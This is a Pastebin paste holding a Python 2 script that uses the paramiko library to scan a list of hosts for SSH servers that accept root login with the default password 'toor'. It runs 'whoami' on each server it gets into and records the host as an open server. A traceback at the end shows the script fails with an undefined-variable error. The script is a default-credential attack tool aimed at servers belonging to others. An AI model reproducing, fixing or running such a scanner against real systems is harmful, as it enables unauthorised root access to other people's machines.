Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import paramiko
- input = raw_input("Please enter the input filename: ")
- output = raw_input("Please enter the output filename: ")
- paramiko.util.log_to_file("filename.log")
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- input_file = open(input, 'r')
- output_file = open(output, 'w')
- output_file.write('-------------OPEN SSH SERVERS-----------------------\n\n')
- for line in input_file.readlines():
- try:
- ssh.connect(line, username='root', password='toor')
- transport = ssh.get_transport()
- transport.set_keepalive(5)
- except paramiko.ssh_exception.AuthenticationException:
- print "no login found " + line
- try:
- stdin, stdout, stderr = ssh.exec_command("whoami", timeout=5)
- except paramiko.ssh_exception.SSHException:
- print "could not exec command"
- for base in stdout.readlines():
- print "found login: " + line
- output_file.write(line)
- input_file.close()
- ssh.close()
- output_file.close()
- """
- Traceback (most recent call last):
- File "par.py", line 22, in <module>
- for base in stdout.readlines():
- NameError: name 'stdout' is not defined
- """
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement